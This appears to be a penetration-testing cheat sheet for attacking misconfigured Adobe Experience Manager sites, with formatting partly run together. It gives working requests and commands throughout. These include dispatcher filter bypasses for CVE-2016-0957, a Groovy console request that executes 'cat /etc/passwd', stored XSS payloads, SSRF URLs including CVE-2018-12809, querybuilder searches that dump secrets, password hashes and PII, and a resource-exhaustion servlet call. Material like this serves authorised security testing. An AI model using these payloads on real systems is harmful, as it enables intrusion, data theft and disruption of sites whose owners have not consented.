aem misconfiguration
Collect subdomain
Use
nuclei/nuclei-templates/technologies/tech-detect.yaml
to identify AEMRun
Python3 ./aem_hacker.py –u https://example — host localhost
Use AEM Paths to fuzz on paths
python3 aem_hacker.py -u --host yourvpshostname
=> common usagepython3 aem_discovery.py --file urls.txt --workers 150
=> discover URLspython3 aem_enum.py --url
=> automate username and secrets grabbingpython3 aem_ssrf2rce.py --url --fakaem yourvps
python3 aem_server.py
Bypassing CVE-2016-0957
https://aemsite/bin/querybuilder.json
=> blockedhttps://aemsite/bin/querybuilder.json/a.css
=> allowhttps://aemsite/bin/querybuilder.json/a.html
=> allowhttps://aemsite/bin/querybuilder.json/a.ico
=> allowhttps://aemsite/bin/querybuilder.json/a.png
=> allowhttps://aemsite/bin/querybuilder.json;%0aa.css
=> allowhttps://aemsite/bin/querybuilder.json/a.1.json
=> allow
Bypassing for interesting servlets
https://aemsite/bin/querybuilder.json
=> blockedhttps://aemsite/bin/querybuilder.json/a.css
=> blockhttps://aemsite/bin/querybuilder.json;%0aa.css
=> blockhttps://aemsite/bin/querybuilder.json.servlet.css
=> allowhttps://aemsite/bin/querybuilder.json.servlet.html
=> allowhttps://aemsite/bin/querybuilder.json.servlet.ico
=> allowhttps://aemsite/bin/querybuilder.json.servlet.png
=> allow///etc.json
instead of/etc.json
///bin///quesrybuilder.json
instead of/bin/quesrybuilder.json
SSRF should allow sending GET requests and seeing responses
Opensocial proxy
SSRF in ReportingServicesProxyServlet (CVE-2018-12809)
POST /bin/groovyconsole/post.servlet HTTP/1.1
HOST:
script=sef+proc+%3d+"cat+/etc/passwd".execute()%0d%0aprintln+proc.txt
POST //////content/usergenerated/etc/commerce/smartlists/vv.json
aa=alert('xss+on+'%2b+document.domain+%2b+'\nby+%400ang3el+\ud83d\ude00')%3b
POST /content/usergenerated/etc/commerce/smartlists/xss
aaa.html=alert('xss+on+'%2b+document.domain+%2b+'\nby+%400ang3el+\ud83d\ude00')%3b
POST /content/usergenerated/etc/commerce/smartlists/xssed
jcr:data=alert('xss+on+'%2b+document.domain+%2b+'\nby+%400ang3el+\ud83d\ude00')%3b&jcr:mimeType=text/html
Everything is stored in the JCR repository:
Secrets (passwords, encryption keys, tokens)
Configuration
PII
Usernames
[ ] What to Use
DefaultGETServlet
QueryBuilderJsonServlet
QueryBuilderFeedServlet
GQLSearch Servlet
Others
Allows getting JCR node with its properties
Selectors:
Tidy
Infinity
Numeric value: -1, 0, 1...99999
Formats:
JSON
XML
RES
Example:
https://aem.site/tidy.3.json
/
=> jcrtidy
=> selector tidy3
=> selector depthjson
=> output format
How to Grab:
Get node names, starting from jcr:root:
/.1.json
/.ext.json
/.childrenlist.json
Or guess node names:
Common names
/content
,/home
,/var
,/etc
Dump properties for each child node of jcr:root:
/etc.json
or/etc.s.json
or/etc.-1.json
What to Grab:
Interesting nodes:
/etc
=> may contain secrets (passwords, encryption keys)/apps/system/config
=> passwords/apps/<something>/config
=> passwords/var
=> may contain private PII/home
=> password hashes, PII
Interesting properties contain AEM usernames:
jcr:createdBy
jcr:lastModifiedBy
cq:LastModifiedBy
Path:
/bin/querybuilder.json
/bin/querybuilder.feed.servlet
Examples of Useful Searches:
type=nt:file&nodename=*.zip
path=/home&p.hits-full&p.limit=-1
hasPermission=jcr:write&path=/content
hasPermission=jcr:addChildNodes&path=/content
hasPermission=jcr:modifyProperties&path=/content
p.hits-selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alastModifiedBy&property.operation-unequals&property.value=admin&type=nt%3abase&p.limit=1000
path=/etc&path.flat=true&p.nodedepth=0
path=/etc/replication/agents.author&p.hits-full&p.nodedepth=-1
SSRF via Opensocial Proxy:
/libs/opensocial/proxy?container=default&url=http://target
/libs/shindig/proxy?container=default&url=http://target
SSRF via ReportingServicesProxyServlet (CVE-2018-12809):
/libs/ca/contentinsight/content/proxy.reportingservices.json?url=http://target%23/apil.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://target%23/apil.omniture.com/a&q=a
/libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://target&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
SSRF via SiteCatalystServlet:
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json
/.ext.infinity.json
/.ext.infinity.json?tidy=true
/bin/querybuilder.json?type=nt:base&p.limit=-1
/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..-1&pathPrefix=
/content.assetsearch.json?query=*&start=0&limit=10&random=123
/..assetsearch.json?query=*&start=0&limit=10&random=123
/system/bgservlets/test.json?cycles=999999&interval=0&flushEvery=111111111
Last updated